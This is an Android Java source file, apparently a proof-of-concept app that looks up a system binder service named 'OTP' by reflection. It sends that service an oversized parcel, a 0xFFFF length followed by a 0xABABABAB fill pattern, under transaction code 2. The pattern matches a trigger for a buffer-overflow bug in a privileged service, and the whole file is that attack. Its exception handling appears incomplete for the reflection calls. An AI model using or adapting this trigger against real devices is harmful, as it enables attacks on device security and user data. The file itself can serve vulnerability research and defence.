package com.example.laginimaineb.otp; import android.os.IBinder; import android.os.Parcel; import android.os.RemoteException; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; public class MainActivity extends AppCompatActivity { /** * The logtag used. */ private static final String LOGTAG = "OTP_TEST"; /** * The name of the OTP binder service. */ private static final String INTERFACE_DESCRIPTOR = "OTP"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); try { //Getting the binder Class smClass = Class.forName("android.os.ServiceManager"); IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR); //Creating a connection Parcel parcel = Parcel.obtain(); Parcel reply = Parcel.obtain(); parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR); int length = 0xFFFF; parcel.writeInt(length); //Buffer length for (int i = 0; i < length/4 + 1; i++) parcel.writeInt(0xABABABAB); binder.transact(2, parcel, reply, 0); reply.recycle(); parcel.recycle(); } catch (RemoteException ex) { Log.e(LOGTAG, "Failed to communicate with remote binder", ex); } } }